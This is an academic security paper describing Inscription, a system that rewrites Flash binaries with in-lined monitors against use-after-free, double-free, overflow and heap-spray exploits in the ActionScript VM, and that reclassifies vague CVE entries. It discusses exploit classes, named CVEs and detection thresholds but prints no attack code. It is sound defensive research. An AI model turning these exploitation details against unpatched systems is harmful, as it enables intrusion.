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ABSTRACT
Web-based virtual machines are one of the primary targets of attackers due to number of design
flaws they contain and the connectivity provided by the Web. The design and implementation of
Inscription, the first fully automated Adobe Flash binary code transformation system that can guard
major Flash vulnerability categories without modifying vulnerable Flash VMs, is presented and
evaluated. Inscription affords a means of mitigating the significant class of web attacks that target
unpatched, legacy Flash VMs and their apps.

This new enforcement capability is most effective when supplied with security policies that accu-
rately characterize VM security vulnerabilities and their mitigations. Researchers and security engineers
commonly depend on well-known, public vulnerability databases that document such vulnerabilities
and provide details about each; but vulnerability information that is inconsistent, inaccurate, or vague
hinders diagnosis of vulnerabilities residing in the implementations of web-based VMs, which is one
of the crucial prerequisites of building generic, comprehensive security solutions for mitigating them.
For example, a large percentage of disclosed vulnerabilities of the ActionScript VM (AVM), which
executes Flash binaries, are vaguely classified as “Memory Corruption” or “Unspecified”. Deeper
analysis of these vulnerabilities reveals that most can be more precisely classified as (1) use-after-free,
(2) double-free, (3) integer overflow, (4) buffer overflow, or (5) heap overflow vulnerability sub-classes.
To improve web vulnerability analysis and mitigation, a more thorough, comprehensive and accu-
rate reclassification of web-based vulnerabilities is presented, in which “Memory Corruption” and
“Unspecified” vulnerabilities are reclassified into one of these fine-grained vulnerability sub-classes.

1. Introduction
Dynamic web content (also known as web scripts) such

as web advertisements, online games, media streams, and
interactive webpage animations, are the lifeblood of the mod-
ern web. Thus, content creation technologies have been im-
plemented to enable developers to build web scripts. Web
scripts are packed by a technology-specific compiler to obtain
executable machine code to be run in web browsers. How-
ever, web browsers are not capable of rendering web scripts
without employing a virtual machine (VM) because the ma-
chine code generated by compilers has a unique file format
and specifications, which are not recognized by the host ma-
chine’s operating system (OS) by default. A VM, therefore,
produces OS-compatible executables from web scripts so that
web browsers can render and display web scripts to users.

The connectivity provided by the nature of the web lures
cyberattackers into targeting design flaws residing in the im-
plementation of various web-based VMs (e.g., ActionScript
VM, Java VM, JavaScript Engine, .NET VM, HTML5 VM,
and PHP VM). These design flaws can cause vulnerabilities
that may lead to a variety of dangerous exploits such as denial-
of-service (Bravo and Mauricio, 2018; Mansfield-Devine,
2015), cross-site scripting (XSS) (Amit, 2010; Backes et al.,
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2017; Neal Poole, 2012), cross-site request forgery (CSRF) (Vi-
gna et al., 2009), remote-code execution (RCE) (Hayak and
Davidi, 2014), code injection (Backes et al., 2017; Chatterji,
2008; Paola, 2007; Schwarz et al., 2018; Shahriar and Zulker-
nine, 2011), parameter injection (Amit, 2010), and control-
flow hijacking (Backes et al., 2017; Constantin, 2012; Vigna
et al., 2009).

Dangerous vulnerabilities continue to abound in numer-
ous web-based VMs, which execute web scripts that are not
immediately executable directly by web browsers. The web
scripts are used to add dynamic capabilities to web pages.
For example, JavaScript frameworks, such as Angular (Angu-
lar, 2020) and jQuery (The jQuery Foundation, 2020), were
downloaded more than 200 million times in the last year and
contained 27 vulnerabilities, some of which have no secu-
rity fix available to date (snyk Security, 2019b). Addition-
ally, Bootstrap (Bootstrap Team, 2020), an open-source CSS
framework, has been downloaded around 80 million times in
the last year, all the while containing seven XSS vulnerabili-
ties (snyk Security, 2019b). In 2018, more than 25 million
new JavaScript malware variants were detected (McAfee
Labs, 2019). Researchers discovered four zero-day exploits
in the implementation of the ActionScript VM (AVM) (Dunn,
2019; FireEye, 2018; Morphisec Lab, 2018), which executes
Adobe Flash scripts, within the same time frame. In addition,
75% of the top twenty vulnerabilities in ASP.NET, which is
an open source web framework created by Microsoft, have
a high severity rating and around 70% of them can lead to
RCE, DoS, or XSS (snyk Security, 2019a).
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In this paper we propose and evaluate Inscription, the first
ActionScript (AS) defense that automatically transforms and
secures untrusted AS binaries in-flight against major Flash
Player VM exploits without requiring any updates or patches
of VMs or web browsers. Inscription works by modifying
incoming Flash binaries with extra security programming
that self-checks against known VM exploits as the modi-
fied binary executes. Flash apps modified by Inscription are
therefore self-securing. This hybrid static-dynamic approach
affords Inscription significantly greater enforcement power
and precision relative to static filters.

Inscription conservatively assumes that untrusted Flash
binaries might be completely malicious. The extra security
programming it adds therefore resides within potentially hos-
tile scripts. Inscription must therefore carefully protect itself
against tampering or circumvention by the surrounding script
code. Moreover, we assume that all implementation details
of Inscription might be known by adversaries in advance of
preparing their attacks. Inscription therefore modifies and
replaces all potentially dangerous script operations in each
binary to ensure that its security checks cannot be bypassed
even by knowledgable adversaries who are aware of the de-
fense.

Our binary transformation algorithm is implemented as a
web script. This allows web page publishers and ad networks
to protect their end-users from malicious third-party scripts
(e.g., malvertisements) that may get dynamically loaded and
embedded into served pages on the client side, even when end-
users are potentially running legacy, unpatched browsers and
VMs. To do so, page publishers simply include Inscription’s
binary rewriting script on their served pages, or ad networks
make the script part of their ad-loading stubs. When the
page is viewed, the included script dynamically analyzes and
secures all incoming Flash scripts on the client side before
rendering them. We consider this deployment model to be a
compelling one, since publishers and ad networks are often
strongly motivated to protect their end-users from attacks (to
avoid reputation loss, and therefore loss of visitors), but are
rarely willing to go so far as to withhold potentially dangerous
services (e.g., third-party ads) from clients running outdated
software. Inscription affords publishers the former without
sacrificing the latter.

Our approach expands upon prior works that have lever-
aged Flash app binary modification to customize apps (Mid-
delkoop et al., 2011) or enforce custom security policies (Phung
et al., 2015; Zhou Li and XiaoFeng Wang, 2010). Inscription
is the first work to innovate code transformations that can
secure apps against exploits of major, real-world VM vulnera-
bility classes. That is, it is the first work in this line to consider
the underlying VM as not fully trusted. By introspectively
determining which VM version is running and limiting its
security guard implementation to operations known to be re-
liable for that version, it can secure known unsafe operations
with safe replacements.

Additionally, our work identifies five specific sub-categor-
ies of memory corruption that are objectively identifiable,
already established as important Mitre CWE (MITRE, Inc.,

2020d) types, and that greatly aid defenders in the devel-
opment of robust mitigations and protections. For this, we
analyze six specific properties of ActionScript vulnerabilities
listed in theMitre CVE (MITRE, Inc., 2020c) andNVD (NIST,
2020a) databases since 2013 (until April 1st, 2020): (1) types
of implementation errors that cause each vulnerability, (2)
methods of exploiting these vulnerabilities, (3) privileges and
capabilities that attackers gain after triggering these vulnera-
bilities, (4) assets damaged during the execution of exploits,
(5) consequences of successful exploits, and (6) frequency
of vulnerabilities being exploited in the wild. The results of
our analysis naturally lead to five sub-classes of ActionScript
“Memory Corruption” (MITRE, Inc., 2020e) vulnerabilities.
Although these sub-classes have equivalent categories in the
CWE list, there is no finer-grained categorization in the CVE
database, or a readily available correlation between the coarse-
grained “Memory Corruption” class for many CVE entries
and corresponding CWE labels prior to our study.

The “Memory Corruption” vulnerability sub-classes most
critical/widespread and useful for building generalized de-
fense solutions are: (1) use-after-free (UAF), (2) double-free
(DF), (3) buffer overflow, (4) out-of-bounds access, and (5)
heap spraying vulnerabilities. Vulnerabilities in these sub-
classes have a high severity score (above 8.0 out of 10) and
are mostly marked as “high” or “critical” in the CVE and
NVD (NIST, 2020a) databases. Additionally, the vulnera-
bilities that belong to one of these vulnerability sub-classes
were the top choices for attackers and were heavily used in
popular exploit kits (Kaspersky, 2015) as more than 80% of
them enable the attackers to perform a remote-code execution
(RCE) in victims’ machine.

We show how adopting these finer-grained CVE cate-
gories enables a new more powerful defense against Action-
Script web attacks. For example, we analyze more than 700
CVE entries disclosed since 2013 and find that more than
40% (29% “Memory Corruption”, 18% “Unspecified”) can
be more finely classified (see §5). As specific examples,
we highlight two ActionScript vulnerabilities with NVD en-
tries: (1) CVE-2015-5119 (MITRE, Inc., 2015b) is a UAF
vulnerability in the implementation of the AVM. Although
NVD vaguely classifies it as “Memory Corruption”, its tech-
nical description reveals that it is a UAF; (2) CVE-2015-
5122 (MITRE, Inc., 2015c) is also a UAF vulnerability in
the AVM, but NVD classifies it as “NVD-CWE-Other”.

Our analysis also reveals general imprecision in Action-
Script vulnerability classifications over the past 7 years. For
example, unclassified (“Unspecified”) ActionScript vulnera-
bilities constitute ∼18% of total ActionScript vulnerabilities
since 2013, and “Memory Corruption” vulnerabilities (with
no sub-class) constitute ∼29%. These statistics indicate that
a more thorough investigation of ActionScript vulnerabilities
is required to better map the AVM attack surface, since a
significant portion of ActionScript vulnerabilities are either
unclassified or loosely-classified.

To address this, we analyze the execution of proof-of-
concept (PoC) exploits provided by exploit databases and
vulnerability mitigation projects’ collections to determine the
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types of “Unspecified” and sub-classes of “Memory Corrup-
tion” vulnerabilities. Examining side-effects of the execution
of PoCs allows us to understand the way the exploits trigger
the vulnerabilities, since we scrutinize memory cells before
and after the execution of every ActionScript instruction to be
able to detect any unexpected changes on the cells. Our suc-
cess in deriving higher precision vulnerability classifications
from readily available PoCs indicates that this is an under-
utilized source of information. Inaccuracy and imprecision
of CVEs has been identified by prior work as an outstanding
problem for vulnerability analysis, with manual crafting of
PoCs being recognized as one of the best approaches for ob-
taining reliable ground truth (Dong et al., 2019). When PoCs
are unavailable (or non-functional), we additionally crawl the
web to find security articles, tech reports, blogs, and forum
posts with more detailed information. This allows us to re-
port more information per vulnerability, such as the way the
vulnerability can be exploited or the underlying reasons for
why the vulnerability occurs.

In particular, our main contributions are as follows:
• We present the design and implementation of Inscrip-

tion, the first fully automated Flash code binary trans-
formation system that can guard major Flash vulnera-
bility categories without modifying vulnerable Flash
VMs. Inscription is the first bytecode transformation
approach that assumes that the underlying VM might
not be fully trustworthy; it thus strategically chooses
security guards that avoid known, unpatched VM vul-
nerabilities.

• We discuss detailed case-studies and mitigate five ma-
jor vulnerability categories of Flash exploits currently
being observed in the wild.

• We present fine-grained vulnerability classification
with five sub-classes of “Memory Corruption” and
“Unspecified”AVMvulnerabilities since attackersmostly
exploit vulnerabilities from these sub-classes and heav-
ily include them in popular exploit kits (Kaspersky,
2015; snyk Security, 2019b). We analyze PoC exploits
and discuss the design flaws in the implementation of
the AVM that cause vulnerabilities from these vulner-
ability sub-classes. We also provide more technical
details for each of our vulnerability sub-classes that
are not included in the CVE and NVD databases, such
as the method of exploit.

• We reclassify ActionScript CVE vulnerabilities labeled
as generic “Memory Corruption” and “Unspecified”
into one of our more fine-grained sub-classes (a mem-
ory corruption vulnerability can be (1) a UAF, (2) a
DF, (3) an integer overflow, (4) a buffer overflow, or
(5) a heap overflow vulnerability). We reclassify 60
such “Memory-Corruption” and 84 such “Unspecified”
vulnerabilities by analyzing the execution of PoC ex-
ploits provided by exploit databases and vulnerability
mitigation projects’ collections.

• We present the most recent number, types, and attack
vectors of ActionScript vulnerabilities that have been
listed since 2013 in the CVE and NVD databases.

The remainder of this paper is organized as follows. Sec-
tion 2 presents the technical details of Inscription, our in-lined
reference monitoring framework for securing against Action-
Script vulnerabilities. Section 3 introduces sub-classes of
“Memory Corruption” vulnerabilities and case studies for
each sub-class. Section 4 presents other non-“Memory Cor-
ruption” ActionScript vulnerability classes listed in the CVE
and NVD databases that are less commonly exploited by at-
tackers. Section 5 shows the most recent (2013–2020) statis-
tics of the number, type, and attack vector of ActionScript
vulnerabilities. Section 6 demonstrates our methodology and
results of reclassifying “Memory Corruption” and “Unspeci-
fied” vulnerabilities. Section 7 discusses related work, and
Section 8 concludes.

2. Inscription: An IRM Security Solution
In this section, we present Inscription, an in-lined refer-

ence monitoring (IRM) (Yilmaz and Sridhar, 2019) solution
introduced in prior work (Sridhar et al., 2018) to transform
and secure ActionScript binaries in-flight against cyberat-
tacks that exploit sub-classes of “Memory Corruption” vul-
nerabilities in the implementation of the AVM. Inscription
does not require patching web browsers or vulnerable AVM
versions, and is therefore deployable in contexts where ad-
ministrators must protect users who are inattentive to updates
of their browser and VM installations. To achieve this, it
automatically modifies incoming ActionScript binaries with
extra security programming that self-checks against known
AVM vulnerabilities as the modified binary executes. Ac-
tionScript executables modified by Inscription are therefore
self-securing. This hybrid static-dynamic approach affords
Inscription significantly greater enforcement power and pre-
cision relative to static filters.
2.1. Overview

At a high level, Inscription automatically (1) disassem-
bles and analyzes binary Flash programs prior to execution,
(2) instruments them by augmenting them with extra binary
operations that implement runtime security checks, and (3) re-
assembles and packages the modified code as a new, security-
hardened Shockwave Flash (SWF) binary. This secured bi-
nary is self-monitoring, and can therefore be safely executed
on older versions of Flash Player that lack the latest patches.

Inscription conservatively assumes that Flash programs
and their authors have full knowledge of the IRM implemen-
tation, and may therefore implement malicious SWF code
that attempts to resist or circumvent the IRM instrumentation
process. Inscription thwarts such attacks via a last writer wins
principle: Any potentially unsafe binary code that might cir-
cumvent the IRM enforcement at runtime is automatically re-
placed with safe (but otherwise behaviorally equivalent) code
during the instrumentation. Thus, since the binary rewriter
is the last to write to the code before it executes, its security
controls dominate and constrain all untrusted control-flows.
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Figure 1: Inscription IRM instrumentation architecture

Thwarting many VM exploits requires enforcement of
stateful policies, which constrain program operations based
on the history of operations that have come before. For ex-
ample, thwarting UAF attacks entails suppressing method
invocations on objects that have previously been freed. To
enforce such policies, Inscription injects, maintains, and pro-
tects new program variables, called reified security state vari-
ables (Sridhar and Hamlen, 2010), which explicitly track the
security state of security-relevant objects, values, and the
overall program at runtime. Guard code in-lined by Inscrip-
tion consults and updates these variables at security-relevant
operations to check for impending policy violations and take
corrective action if necessary. Corrective actions include pre-
mature termination, event suppression, and logging of event
information.

Inscription’s guard code insertions come in two major
forms: (a) direct insertion or replacement of bytecode in-
structions at sites of potentially security-relevant program
operations, and (b) substitution of potentially abusable classes
with wrapper classes through a package. The latter is particu-
larly useful when Inscription cannot statically predict where a
security-relevant object may flow at runtime—a common lim-
itation of purely static analyses. By preemptively substituting
such objects with more secure variants at their creation points,
Inscription can effectively track the object’s flow dynamically,
and intervene if it is later used improperly.

Our threat model includes exploits of known vulnerabil-
ities in AVM2 and Flash-based libraries, and undiscovered
(zero-day) UAF vulnerabilities.

While Inscription can protect against simple static attacks
that use syntactically malformed SWF files to exploit VM
parser bugs (e.g., Check Point Advisories, 2015, 2016; Lind-
ner, 2010), we here restrict our attention to more sophisticated
attacks consisting of syntactically legal SWFs that dynami-
cally exploit VM vulnerabilities, since these are the ones not
reliably detectable by standard network-level filters.
2.2. Implementation
2.2.1. Monitor Code Instrumentation as a Wrapper

Class
Fig. 1 illustrates Inscription’s SWF modification process

as an in-lined reference monitoring architecture. Security
policies consisting of code that evades or blocks known VM
vulnerabilities are first pre-compiled to a binary Monitor.swf

library. Inscription’s rewriter statically analyzes incoming

SWF files for potentially unsafe operations, and in-lines code
from the Monitor.swf library to dynamically secure these op-
erations at runtime. The pre-compilation step occurs once,
prior to deployment; thus, Inscription can be deployed to
client-side environments that lack a full ActionScript com-
piler.
2.2.2. Monitor Code Instrumentation as Bytecode

Instructions
Fig. 2 shows our direct bytecode monitor instrumentation

process. We use the ActionScript Bytecode (ABC) Extractor
from the Robust ABC [Dis]-Assembler (RABCDAsm) tool
kit (Panteleev, 2016) to extract bytecode components (Adobe,
Inc., 2016) from the original, untrusted SWF. A Java ABC
parser converts the untrusted bytecode into Java structures,
according to the ActionScript 3.0 bytecode file format speci-
fication (Adobe, Inc., 2007). The rewriter core, also written
in Java, performs a linear search of the untrusted code to
locate potentially security-relevant code points (defined by
the policy). Typically such code points constitute a small
percentage of the entire untrusted code. The rewriter sub-
sequently rewrites the untrusted bytecode, inserting reified
state variables, state updates, and other guard code directly as
ABC instructions into the Java structures. Post-rewriting, a
Java code-generator converts the instrumented Java structures
back into ABC format. Finally, the RABCDAsm ABC Injec-
tor (Panteleev, 2016) re-packages the modified bytecode with
the original SWF data to produce a new, safe SWF file. When
static analysis cannot reliably predict all potentially danger-
ous instructions where a security-relevant object might flow
at runtime, Inscription replaces the instructions that create the
object with instructions that instead create a corresponding
wrapper object implemented by the Monitor.swf library. The
wrapper object implements all the original object’s methods,
but with extra security guard code that allows Inscription
to retake control if the object is subsequently abused. This
affords the enforcement a means of uncircumventable, com-
plete mediation over the wrapped object without the need to
predict all its flows statically.

Inscription’s rewriter ensures that all invocations of the
vulnerable class (including object instantiations and method
calls) in the original SWF is replaced by our new safe wrapper
for the class. This is achieved by maintaining a hash-map that
maps the package name of the vulnerable class to the package
name of our wrapper class. When merging the monitor pack-
age with the untrusted SWF, our rewriter scans the untrusted
SWF’s bytecode for all occurrences of the vulnerable class’
package name and replaces them with the mapped package
name of our wrapper class.
2.3. Security Solutions for Important

Vulnerability Sub-classes
In this section we present Inscription’s defense against

the most common and frequently exploited ActionScript vul-
nerabilities. More than 80% of these vulnerabilities can lead
to a remote or arbitrary code execution attack (MITRE, Inc.,
2021). Arbitrary code execution attack is one of the most
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Figure 2: IRM Instrumentation as Bytecode Instructions

dangerous and rewarding attack types since attackers can use
executable code pieces located in victim machines’ memory
to perform malicious more complicated attacks. For a more
in-depth review of vulnerability sub-classes, please see §3.
2.3.1. UAF and DF Defenses

Inscription’s defense against UAF and DF-attacks in-
lines bytecode that independently double-checks that each
ByteArray object is cleared at most once. It does so by in-
troducing the wrapper class defined in Listing 1, which aug-
ments the app with a global, thread-safe hash table that ex-
plicitly tracks object-frees. In particular, Inscription’s pre-
compilation phase first creates a wrapper for the ByteArray

class, extending it and thereby inheriting all the function-
ality of the original class. The wrapper class adds a static
Dictionary object that uses objects as keys and non-null inte-
gers as values. Declaring the dictionary to be static makes
it a fixed, global object shared across all workers. Locating
the hash table within our private Monitor package namespace
prevents any hostile, surrounding app code from accessing it
to corrupt its data.

To make our implementation thread-safe, we introduce a
lock for our dictionary in the form of a 1-integer, shareable
ByteArray. Inscription-instrumented threads always acquire
the lock to make updates on the dictionary and subsequently
release the lock. For brevity and simplicity of the presenta-
tion, we only show single-threaded code listings in this paper;
however, our actual implementation maintains thread-safe
synchronization.

We override the ByteArray constructor inside the wrapper
class, so that whenever a new ByteArray object is created,
an entry for it is added to the global hash table (lines 8–12).
Our overridden clear() method (lines 13–18) only allows a
ByteArray to be freed if its value in the hash table is non-zero
(implying it has not been freed already). Our monitor then
sets it to null before safely calling the free property of the
ByteArray class. However, if the value stored in the hash-
table is zero or null, then our monitor suppresses the free
the operation, which prevents the UAF and DF. Additional
synchronization code (not shown) prevents these methods
from executing concurrently.

Inscription’s rewriter then merges our monitor contain-

Listing 1: ByteArray safe wrapper class
1 package Moni to r {
2 pub l i c c l a s s ByteArray extends
3 f l a s h . u t i l s . ByteArray {
4 pub l i c s t a t i c cons t
5 h a s h t a b l e : f l a s h . u t i l s . Dic t i onary ;
6 pub l i c var o r i g _ b y t eA r r a y :
7 f l a s h . u t i l s . ByteArray ;
8 pub l i c func t i on ByteArray ( ) {
9 s up e r ( ) ;
10 h a s h t a b l e [ t h i s ] = 0 ;
11 o r i g _ b y t eA r r a y = t h i s ;
12 }
13 pub l i c func t i on c l e a r ( ) : void {
14 i f ( Moni to r . ByteArray . h a s h t a b l e [ t h i s ]==0) {
15 Moni to r . ByteArray . h a s h t a b l e [ t h i s ] = nu l l ;
16 s up e r . c l e a r ( ) ;
17 }
18 }
19 pub l i c func t i on va lueOf ( ) :
20 f l a s h . u t i l s . ByteArray {
21 re turn t h i s . o r i g _ b y t eA r r a y ;
22 }
23 }
24 }

ing the wrapper class with the untrusted SWF so that every
call to ByteArray() and ByteArray.clear() is replaced by our
overridden methods. After instrumentation of this IRM code,
the rewritten safe SWF is produced.
2.3.2. A Generalized Solution to Mitigate

Use-After-Free and Double-Free Vulnerabilities
in the ActionScript Virtual Machine

Our early discussions let us discover that we can miti-
gate all UAF and DF vulnerabilities (including zero-days) in
the AVM by injecting a memory management system as a
wrapper class in Flash executables where each explicit ob-
ject allocation/deallocation is recorded. During the runtime,
the wrapper class logs all memory activities of user defined
objects along with system libraries that contain predefined
explicit function calls that cause memory activities such as
clear(). The logs are stored in a global hashtable where the
key is the object reference and the value is the subscription
list. When an object is first initialized, the hashtable entry
for this object is simultaneously created with an empty sub-
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Listing 2: Replacing RegExp.exec function with Safe_RegExp

at binary level
1 i f ( RegExpTest . Safe_RegExp ( ⟨pattern⟩ , ⟨flag⟩ ) )
2 var r e : RegExp = new RegExp ( ⟨pattern⟩ , ⟨flag⟩ ) ;

scription list. When any other instance subscribes the object,
the subscription list is populated with the subscriber object
references.

The global hashtable is used to keep track of memory allo-
cation and deallocation of objects. When an object is cleared
with an explicit function call such as free(), our wrapper
class ensures that the object is freed only if the subscription
list is not empty, and the object has a valid entry in the global
hashtable. The wrapper class therefore blocks DF attempts by
checking whether the object has a valid entry in the hashtable
and UAF attempts by checking the size of the subscriber list
of the object. The wrapper class is able to stop zero-day at-
tacks that exploit DF and UAF vulnerabilities as the wrapper
class keeps track of memory activities of all user defined and
predefined objects. That means our memory management
mechanism is vulnerability-independent. We also built the
global hashtable as a private property of the wrapper class so
that attackers that have knowledge of the wrapper class can-
not interfere with functionality of the memory management
layer.
2.3.3. Buffer Overflow Defense

Inscription intercepts the assignments of the height and
width properties of a ShaderJob object when the object is
started in asynchronous mode. If the ShaderJob object is
running, and its new height/width is going to exceed the
predefined BitmapData’s height or width (as seen in Line 19
of Listing 8), Inscription restricts this assignment, hence,
thwarting the buffer overflow.
2.3.4. Out-of-Bounds Read Defense

Inscription provides a wrapper for the RegExpActionScript
3.0 class which can be seen in Listing 3. At the binary level,
Inscription replaces all calls to the exec method of the RegExp

class with the Safe_RegExp function provided by the wrapper
(shown in Listing 2), to investigate the pattern of the regular
expression. The Safe_RegExp function restricts the number of
open parentheses to 49, and returns returns a boolean value
indicating whether the regular expression is safe to be created.
2.3.5. Heap Spraying Defense

Our policy to prevent heap spray attacks ensures that (i)
a large String1 (> 1000 bytes) is not written to a ByteArray,
and (ii) a String is not repeatedly (> 100 times) written to
the same ByteArray.We chose to restrict the maximum size
for a byte sequence to 1000 bytes based on a well-known
patent for heap spray detection in ActionScript (Liu, 2014),
and limit the number of times a byte sequence is sprayed on
the heap to 100 times to demonstrate the feasibility of our

1This policy uses Strings for simplicity, but our rewriter can work with
any byte sequence.

Listing 3: Wrapper for the RegExp class
1 package Moni to r {
2 pub l i c c l a s s RegExpWrapper {
3 pub l i c s t a t i c f unc t i on
4 Safe_RegExp ( p a t t e r n : Str ing , f l a g : St r ing ) {
5 var l e f t _ p a r e n t h e s i s _ c o u n t e r = 0 ;
6 f o r ( var i = 0 ; i <p a t t e r n . l e n g t h ; i ++) {
7 i f ( p a t t e r n . cha rA t ( i ) == " ( " ) {
8 i f (++ l e f t _ p a r e n t h e s i s _ c o u n t e r > 49)
9 re turn f a l s e ;
10 }
11 }
12 re turn true ;
13 }
14 }
15 }

mitigation. Our approach would work for any byte sequence
size below the page-size limit of the underlying machine.

To enforce this policy, Inscription’s IRM tracks the size
and number of times a String is written to a ByteArray us-
ing a global, thread-safe hash-table. Inscription’s rewriter
targets the security-relevant operation of writing a String

to a ByteArray. Our rewriter, using technique #2, first cre-
ates a wrapper for the flash.utils.ByteArray class named
Monitor.ByteArray. The rewriter’s wrapper augments the
flash.utils.ByteArray with a static Dictionary object that
implements our global, thread-safe hash-table. The hash-
table uses the Strings written to the ByteArray as keys and
the count for the number of times they were written as value.
Whenever a String is written to the ByteArray object using any
of methods that allow this operation such as writeUTFBytes(),
writeBytes(), writeMultiBytes(), writeUTF(), writeByte() (se-
curity-relevant operations), the IRMcheckswhether the String
already has an entry in the hash-table. If an entry for the
String exists, then its count is incremented by one, otherwise
our IRM creates a new entry for the String in the hash-table
with an initial count of one. If the size of the String is larger
than 1000 bytes or if the String has already been written to
the ByteArray a 100 times, then our IRM suppresses the write
operation and instead outputs a warning to the log to notify
the user of a possible heap spray attack. If the String is within
specified size and count threshold, our IRM safely calls the
flash.utils.ByteAray class to proceed with the write. The
IRM for this policy is immediately extensible to other objects,
such as Vectors, to which Strings can be written.
2.4. Experimental Results

We created proof-of-concept exploits for each vulner-
ability sub-class presented in §3 in order to fully test our
solution. Our proof-of-concept exploits are modeled after
real-world exploit analyses and vulnerability descriptions
found in popular exploit and security research archives such
as Google Security Research Database (Google Security Re-
search Database, 2020), ExploitDB (Offensive Security), Ker-
nelMode.info (Kernel Mode), and security blogs by research
companies such as TrendMicro (TrendMicro Research, 2015),
FireEye (FireEye) and TrustWave (TrustWave). All ads were
created using Adobe Flash Builder v4.7.
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Vulnerability Rewriting SWF Size (bytes) Execution Time (ms)
Case Study Class Stateful Rewriter Type Time (ms) Before After Before After

#2 (§3.3) DF ✓ (2) 56.07 3893 4266 (+9.6%) 198.9 217.4 (+9.3%)
#2 (§3.3) DF ✓ (1) 53.49 1281 1374 (+7.3%) 9.0 10.4 (+15.6%)
#1 (§3.2) UAF ✓ (1) & (2) 28.61 1656 1737 (+4.9%) 211.3 231.5 (+9.6%)
#1 (§3.2) UAF (1) & (2) 36.26 936 1359 (+45.2%) 30.3 32.7 (+7.9%)
#4 (§3.5) Buffer Overflow (1) 19.14 482 488 (+1.24%) 1 1 (+0.0%)
#3 (§3.4) Out-of-Bounds Read (1) & (2) 71 34.93 330 558 (+69.09%) 1.0 1.1 (+10.0%)
# N/A (§3.6) Heap Spray ✓ (2) 51.17 1283 1901 (+48.2%) 1.0 1.2 (+20.0%)

Average 46.61 1408 1669 (+18.5%) 64.6 70.7 (+9.07%)

(1) direct bytecode instrumentation, (2) wrapper class instrumentation

Table 1
Performance Benchmarks for Proof-of-Concepts Exploit Code

Size (bytes) of Size (bytes) of Rewriting
Filename ABC (before) ABC (after) Time (ms)

atmosenergy 708 708 (+0.0%) 21.3
att 21,532 22,332 (+3.71%) 37.09
beetle 80,707 81,534 (+1.02%) 104.46
CookieSetter 598 598 (+0.0%) 9.41
ecls 2,007 2,007 (+0.0%) 11.97
eco 2,007 2,007 (+0.0%) 28.42
expandall 2,778 2,778 (+0.0%) 51
flash_animation 2,980 2,980 (+0.0%) 32.28
freechat_313 2,273 2,273 (+0.0%) 29.11
fxcm 1,738 1,738 (+0.0%) 26.5
gen_live 21,784 22,622 (+3.84%) 31.61
gm 22,037 22,897 (+3.90%) 35.71
gucci 1,079 1,079 (+0.0%) 10.86
hma 2,364 2,364 (+0.0%) 19.71
iphone 1,152 1,152 (+0.0%) 29.21
IPLad 1,655 1,655 (+0.0%) 15.49
jlopez 16,655 16,655 (+0.0%) 41.18
men1 33,771 34,714 (+2.79%) 44.69
men2 40,300 41,291 (+2.45%) 49.36
reliant 4,731 4,731 (+0.0%) 24.59
t2 919 919 (+0.0%) 30.63
thehappening 107,548 107,548 (+0.0%) 38.65
utv 20,635 21,475 (+4.07%) 37.56
verizon_orig 2,799 2,799 (+0.0%) 37.06
verizon 3,305 3,305 (+0.0%) 12.03
verizonm2m 2,245 2,245 (+0.0%) 35.72
weightwatchers 3,454 3,454 (+0.0%) 20.77
Average 14,954 15,108 (+1.015%) 31.38

Table 2
Performance Benchmarks for Benign SWFs

Table 1 summarizes our experimental results for the proof-
of-concept exploits and the corresponding policies. (See
companion technical report for the heap spray policy.) All
experiments were conducted on a machine with a 3.4 GHz
Intel Core i7 processor with 16GBRAM. The parser, rewriter,
and code-generator for ActionScript 3.0 bytecode was writ-
ten in Java using JDK v1.8.0_161. For computing the total
rewriting time for each policy, we ran each policy rewriter ten
times and computed the average. Rewriting times include the
linear search performed to locate code fragments requiring
instrumentation, and the in-lining of security guard code and
reified security state variables. However, these instrumenta-
tion times are typically negligible since only a tiny portion
of most SWF files are comprised of code; the majority of the

Target Vulnerability Rewriting SWF Size (bytes)
Vulnerability Class Time (ms) Before After

CVE-2015-5119 UAF 31.18 26,179 27,380 (+4.58%)
CVE-2015-5122 UAF 43.94 12,827 14,025 (+9.79%)
CVE-2014-0322 UAF 23.66 4,583 5,652 (+23.32%)
CVE-2015-0311 UAF 16.91 11,260 12,461 (+10.66%)
CVE-2015-0313 DF 12.77 12,004 13,205 (+10.00%)
CVE-2015-0359 DF 10.78 11,823 13,024 (+10.15%)
CVE-2016-1013 UAF 20.23 14,989 16,735 (+11.16%)

Table 3
Performance Benchmarks for Real-World Exploits Collected
from Open-Source Exploit Databases

content is comprised of images, sounds, and video. There-
fore, we believe that even though our experiments are on
proof-of-concept exploits, rewriting times are representative
of real-world apps.

Size overhead of each rewritten SWFwas measured using
the uncompressed size of the application bytecode before and
after rewriting. Wrapper class and binary instrumentation
contribute additional bytes to SWF files. These percentage
size overheads will be much smaller for real-world, non-
malicious SWF files (see Table 2), since our proof-of-concept
exploits are far more densely packed with dangerous code
sites than typical SWFs.

Table 2 summarizes performance benchmarks of eval-
uating Inscription with benign SWFs, using the []-operator
rewriter. We chose to use this policy rewriter since [] is the
most frequently occurring policy-relevant instruction (out
of our five policies), and therefore represents the worst-case
scenario in terms of number of instrumentations needed and
rewriting time.

Table 3 demonstrates our experimental results for the
real-world exploits that we collect from public vulnerability
databases (Exploit Database, 2020; Google Security Research
Database, 2020; Rapid7, 2020). These databases contain
exploits in the form of either source or executable code. If
the exploit is at the source code level, we compile the sources
to obtain executable Flash files before rewriting them. The
size of exploit varies from 4KB to 26KB.
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2.5. Discussions
2.5.1. Security Analysis

As explained in §2.1, Inscription IRMs maintain self-
integrity and complete mediation within potentially hostile
script environments based on a “the last writer wins” princi-
ple: By modifying the untrusted bytecode before it executes,
Inscription can automatically replace any potentially unsafe
binary code that might circumvent the IRM enforcement with
safe code during the instrumentation. Thus, since Inscrip-
tion’s rewriter is the last to write to the file before it executes,
its security controls dominate and constrain all untrusted
control-flows.

To decide where to insert the security guards in the un-
trusted Flash scripts, Inscription performs an exhaustive lin-
ear search that detects all potentially security-relevant op-
erations. It then preemptively secures all such operations
without attempting to decide a priori whether any are ex-
ploitable. This ensures that the Flash script cannot violate
the enforced security policy. Therefore, Inscription does not
detect vulnerabilities but rather runtime actions that might
exploit vulnerabilities if left unchecked.

Our approach can be applied both to protect against many
attacks falling within a general attack class (e.g., large classes
of UAF and DF attacks), and also to protect against specific
attacks that do not fall within a generalizable class (e.g., the
RegExp vulnerability discussed in §3.4).

All wrapper classes are implemented as final classes in a
dedicated namespace (i.e., Monitor), allowing ActionScript’s
object encapsulation and type-safety to prevent untrusted
code from directly accessing the private members of wrapper
classes. The bytecode rewriter then modifies the metadata of
